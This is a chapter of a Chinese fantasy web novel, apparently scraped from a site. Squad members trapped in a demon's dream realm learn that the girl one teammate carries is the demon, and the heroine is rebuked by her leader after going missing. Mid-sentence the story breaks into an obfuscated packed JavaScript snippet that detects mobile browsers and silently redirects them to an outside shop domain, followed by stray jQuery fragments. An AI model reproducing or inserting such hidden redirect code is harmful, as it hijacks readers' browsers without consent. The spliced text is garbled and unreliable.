学校占地面积很大,从教学楼到大门至少要走五六分钟,众人来的时候不觉得,现在心里紧绷着一根弦,明明一路飞奔压缩大半时间,竟还觉得缓慢无比。
朱怀瑾喘着气,远远望到门口有一个背着人的影子站着,看样子仍完好无损,心下一松,还好,来得及。
“周青!别去!”
门前身影顿了顿,回头看见一行人朝她跑来,很快到眼前。
周青疑惑:“你们怎么都来了?”顿了顿,脸色凝重道:“对了,外面不对劲。”
到达后她发现外面竟然一个人都没有,特调部候补成员还要做收尾工作,不可能就这么一走了之。看着依旧熟悉的街道空荡荡的,周青终究没有踏出去。
朱怀瑾把他们已经不知不觉中进了灵域的事告诉她。
周青一阵后怕:“还好我没走远。”
唐安远:“人没事就好。”
“是啊,”伟奇道:“你也背这个人很长时间了吧,我来帮你吧。”
说着,手伸了过去。
周青一下躲开,速度太快,胳膊打到了他的手。
伟奇在旁边保持双手伸向她不尴不尬的姿势。
“……”
夜色笼罩着校园,绿荫道旁的柳树枝条低垂,微微摆动,在路灯背光处像绵长的黑发。
似是拒绝太过生硬,周青清了清嗓子:“算了,她是女生,还是我来背吧。”
伟奇猛地收手,挠挠头道:“也是、也是哈……”
“周青。”
洛欢下意识看向身边突然开口的男人。
席霁洲问周青:“你确定你背的人是‘人’吗?”
语气冷冰冰的,洛欢伸手蹭了下手臂。
此话一出,众人霎时清醒。
是啊,如果是在现实,那个死去的学生可以解释为没等到救援就撑不住了。可如果放在灵域,除了魇和魔物,就是还没出去的活人。
但是死人,一般是不会出现。
周青托着那个女生大腿的手紧了紧,“说不定这个魇构建的灵域就是这么特殊呢,我们在教学三楼不是还发现晕倒的二队和三队成员吗?我觉得这应该是魇污染活人的手段!”
朱怀瑾沉默一瞬,赞同道:“我也觉得你说得有道理,毕竟是实力综合前六的魇魔,如果真的是它另辟蹊径,在灵域里把人弄晕或者杀死是污染人类的新手段,那我们必须得提前防备。”
唐安远:“那如果真是这样的话,我们还得返回三楼仔细看一下二队和三队的人,他们身上肯定有我们没发现的线索。”
周青赶紧说:“是啊,很有可能我身上的人不是真的死了,她还有救!”
席霁洲没再开口,像是默认。可洛欢觉得他的心情很不妙,面上却并没有过多表现。
一行人就这么你一句我一句商量妥了,准备再次返回教学楼。
洛欢跟在队伍的最后,心不在焉地跟梦灵东一句西一句瞎聊。
路道里花草丛传来窸窸窣窣的动静,声音很小,微不可察。
下一秒,洛欢腹部被什么圈住,她的眼睛倏地瞪大,要开口大喊,嘴就被看不见的手紧紧捂着,猛地把她扯进旁边的柳树林。
她的全身被看不见的手死死禁锢,只有头部勉强能动,后颈湿热,一阵突如其来的粗喘贴近,激得洛欢瞬间起了鸡皮疙瘩。顾不上思考到底是什么东西,她抵着柳树撞头,拼命发出动静。
不料那隐身的人早有察觉,把手提前垫在树干上,结结实实受了洛欢一击头槌——
“嘶——”
“你练铁头功了?!”
大部队早已没影了,看不见的人不再隐藏自己,大大方方现身。
“我是三队队长,谢辞峰。”
男人脸上挂彩,衣服皱巴巴的,沾着灰,看上去异常狼狈。
洛欢心脏怦怦跳:“那你吓我做什么?!”
谢辞峰神色凝重,开口扔下一个重磅炸弹:“你们队那个女人背着的人是魇!”
“什么?!”
洛欢心悸还没完就猝不及防又遭一击!
“我们刚进来时也被那个人骗了,跟你们一样找了个人把她送出去,队员和援手迟迟不来,然后我们又出了几个人,结果连带着他们一起失踪!”
谢辞峰语速快极了:“后来不用多说,我们就这样被一点点分散,最后让魇魔一网打尽。我运气好点,逃了一劫。”
“这个魇很强,智商相当高。总部之前估测是上五、或上六,”他抹了把脸,“……情报有误,这个魇,是上三!”
梦灵惊讶:“竟然连跨了两个大等级,怪不得连我都没发现……”
洛欢疑惑地问:“上三?”
谢辞峰:“上三,也就是醒杀鬼,它已经把二队三队都拖进更深层次的幻境,不能让它再得到力量变得更强,我们找个机会让你们一队在醒杀鬼察觉前明白真相,想办法赶快唤醒我们的人!”
洛欢心里的疑惑不减反增,感情谢辞峰是把她认成一队队员了,上三为什么是醒杀鬼?为什么它会变强?为什么要赶快唤醒其他人?
梦灵给她解释:“上三除了能建造灵域,还能在灵域里再造一个‘域中域’,被拖进二次灵域的人便会在无知无觉中陷入上三编织的梦境中,成为源源不断的养分供它吸收。”
“如果长时间没有挣脱唤醒,到一定程度就会被彻底榨干,现实中也会死亡。”
“于自以为的‘清醒’里置人死地,就是醒杀。”
洛欢一心二用,一边听着梦灵的解释,一边问谢辞峰:“我们该怎么做?”
谢辞峰先是不语,眼睛下瞥。
洛欢顺着他的方向——是她的手环。
洛欢有种不好的预感。
果然,
下一刻,谢辞峰颇有些不好意思地捏了下鼻子。
“你跟席霁洲是情侣关系,手上戴着A520,有定位在,你不见了,他第一时间会过来找你。”
“先把最厉害的策反……不对,让最厉害的人先知道真相,后面好解决多了。”
梦灵吹了个口哨:“哦豁,你们进展也太快了吧,我站一线前排都没发现。”
洛欢简直匪夷所思:“我怎么不知道我和席霁洲是……恋人关系?!”
这句话是对他们两个说的。
谁知谢辞峰还有脸疑惑上了,“难道不是吗?”
“A520魇器在灵域里能相互定位,还有一定的防御功能,只要对方想,任意一方都能替对方承受攻击和伤害。”
“而且,据我所知,现实里双方距离还不能超过十米呢,这不正合适你们现在这种黏黏糊糊分不开的情侣?”
梦灵也跟着帮腔:“情比金坚520啊,连代号都有提示!我竟然连这都没想到……”语气说不出的遗憾。
洛欢不欲追究梦灵在遗憾个什么劲,看着一脸懵的谢辞峰,落到嘴边的解□□言又止。
谢辞峰明显不知道她的情况,当然,如果特调部公开的话,他不可能不知道。目前应该是私密状态,要是她无意中戳破坏了事,还不知道那几个大尾巴狼该怎么料理她。
再“享受”一个猎奇魇器和麻醉弹的滋味吗?
算了吧,她可不想再遭受第二次。
她还等着“表现良好,刑满释放”呢,不能现在就坏了事。
这样想着,洛欢捏着鼻子认了这个称呼。
谢辞峰一脸笃定:“等着吧,席队发现很快就找来了。”
这是个好问题,洛欢想,她跟席霁洲他们三个非亲非故,又半生不熟的,得到猴年马月才能发现吧。
……
另一边,教学楼通道口。
如果洛欢在场,她一定会发现自己把别人想太坏了。
事实上,洛欢被谢辞峰悄悄绑走没几分钟,走在她前面的唐安远就发现她不见了。
小队因此有了小骚动,都在怀疑洛欢是被魔物神不知鬼不觉抓走,可能已经凶多吉少。
不由分成两个派系,起了点口角。
一派说去找她,主要是唐安远和余染冬。
另一派觉得意义不大,先不说洛欢被害的可能性很大,就算还侥幸活着,不如把时间省下来研究一下二队三队的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823542|211061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,要是寻到魇的官窍破解灵域,洛欢也能得救。
“我去找。”
声音不大不小,语气不容置疑,席霁洲眼里罕见的泄露几分戾气,让两方人不由自主噤声,惊疑不定望着他。
死寂的沉默里,迎着几双惊诧莫名的眼睛,席霁洲把外泄的情绪收拢,他伸手抚了下黑环,大步离开。
等人离开良久,伟奇开口:“现在怎么办?”
余染冬嗤笑:“怎么办?该怎么办怎么办呗,你们队长不是已经去找了,现在你们能安心上楼找二三队的人了吧,犹豫什么呢,各做各的不也挺好的?”
“不过你们真是厉害,都不把自己队长放眼里,看来部里的规矩还是教的不怎么样,等我回去就上交提议。”
“小冬,”唐安远拍了下他的肩膀,面色平静,“现在多说无益,走吧,我们也去。”
余染冬侧肩狠狠一挣,把唐安远的手甩开,头也不回离开。
“我看你现老板也是个花架子,连手底下的人都管不好,跟这种人能有什么奔头,迟早跳槽算了……”
“……”
随着二人走远,声音也听不清,留在场的三人面面相觑。
伟奇开口,面色难言:“现在……怎么做?”
朱怀瑾扶了扶眼镜:“走吧,我们先上去,时间不能在浪费下去了。”
背着女学生的周青跟在两人身后,鞋面敲击大理石地板,发出咔咔声,天花板上声控灯惨亮,她的脸在反光作用下阴森晦暗,眼里沉着冷静消失不见,眼底闪过一丝血红,抬头死死黏在前面一无所知的两人身上,嘴角一扯,缓缓露出一抹诡异的笑。
……
洛欢蹲在草丛附近,拍死了不知是第几个咬上来的蚊子。
“不是,我们真不能挪个地儿吗?”
刚开始和谢辞峰聊天时还不觉得,聊完才发现蚊蝇竟然这么多,灵域竟然也有这种东西,未免太真实了些。
谢辞峰拒绝:“不行,换个位置找不到了怎么办?你再忍一忍。”
他皱着眉摇了摇头,部里招人的质量越来越不行了,这就受不了了。
洛欢慢慢转头,拿起丢在一旁的小树枝,无聊的在地上写写画画,时不时拍死一只蚊子,眼见手背上又多了一个大包,她把树枝一扔,不行,她得站起来活动活动。
蹲久了猛站头会晕眩,她显然忘了这一茬,顿觉天旋地转,脚步不稳,快要倒下时手指条件反射的乱抓,还真叫她抓到一个东西。
手指扯着那人的袖子,洛欢缓过来,刚想对谢辞峰说声谢,却对上意料之外的目光,手也忘了放,就这么牢牢盯着他。
席霁洲面色平静,没波没澜问:“受伤了?”
洛欢倏地回神,手也快速放开他,半举在空中呈投降手势,看起来滑稽无比。
“没事没事!我就是……站猛了。”
谢辞峰惊喜道:“席队长!”
席霁洲的注意力仍放在洛欢身上,听见她说没受伤时点点头,又问:“我不是让你跟紧我?”
洛欢见他没有责怪她的意思,不由松口气,这确实是她的不是,但她不太想承认,便想随便糊弄过去。
不料席霁洲耐心听完她的支吾其词,又重复了一遍刚才的问题。
洛欢一愣,感觉不对劲,悄悄瞥了他一眼,男人面相依旧平和,可不知怎么,她从中读出一种暴风雨欲来的风平浪静。
“你把我的话当耳旁风?”席霁洲面色森寒,“我认真叮嘱,你随便听听?”
他指着一旁的谢辞峰,“如果这是魔物假扮呢?这么容易轻信别人,要是这次运气不好,你现在还有命吗?”
无故躺枪的谢辞峰:“……”
他欲言又止,不知该不该劝。
洛欢一惊,不知道这人怎么回事,好好的突然恼了,嘴快过脑子道:
“对不起!”
“我错了,对不起!我不该不把你的话放心上,我也不该轻易相信别人的话,我真的错了。”
洛欢偷偷观察他的脸色,害怕惊扰什么似的,小心翼翼问:“对不起,你能原谅我吗?”